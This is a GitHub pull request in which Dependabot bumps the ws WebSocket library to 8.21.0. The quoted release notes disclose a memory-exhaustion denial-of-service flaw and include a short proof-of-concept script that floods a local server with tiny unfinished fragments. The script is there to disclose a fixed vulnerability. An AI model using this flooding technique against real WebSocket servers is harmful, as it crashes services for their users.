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Bump ws from 8.19.0 to 8.21.0#4130

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Bump ws from 8.19.0 to 8.21.0#4130
dependabot[bot] wants to merge 1 commit into
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dependabot/npm_and_yarn/ws-8.21.0

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@dependabot dependabot Bot commented on behalf of github May 28, 2026

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Bumps ws from 8.19.0 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

8.20.1

... (truncated)

Commits
  • bca91ad [dist] 8.21.0
  • 2b2abd4 [security] Limit retained message parts
  • 78eabe2 [security] Add latest vulnerability to SECURITY.md
  • 5d9b316 [dist] 8.20.1
  • c0327ec [security] Fix uninitialized memory disclosure in websocket.close()
  • ce2a3d6 [ci] Test on node 26
  • 58e45b8 [ci] Do not test on node 25
  • 5f26c24 [ci] Run the lint step on node 24
  • 8439255 [dist] 8.20.0
  • d3503c1 [minor] Export the PerMessageDeflate class and header utils
  • Additional commits viewable in compare view

@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels May 28, 2026
@release-com

release-com Bot commented May 28, 2026

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Release Environments

This Environment is provided by Release, learn more!
To see the status of the Environment click on Environment Status below.

🔧Environment Status : https://app.release.com/public/Processing%20Foundation/env-698346b1cf

@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch from 6ebcc8d to f37ee27 Compare June 1, 2026 14:08
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch 2 times, most recently from 62ff597 to 1566a71 Compare June 16, 2026 17:11
Bumps [ws](https://github.com/websockets/ws) from 8.19.0 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.19.0...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot changed the title build(deps): bump ws from 8.19.0 to 8.21.0 Bump ws from 8.19.0 to 8.21.0 Jun 18, 2026
@dependabot dependabot Bot force-pushed the dependabot/npm_and_yarn/ws-8.21.0 branch from 1566a71 to aed0950 Compare June 18, 2026 16:51
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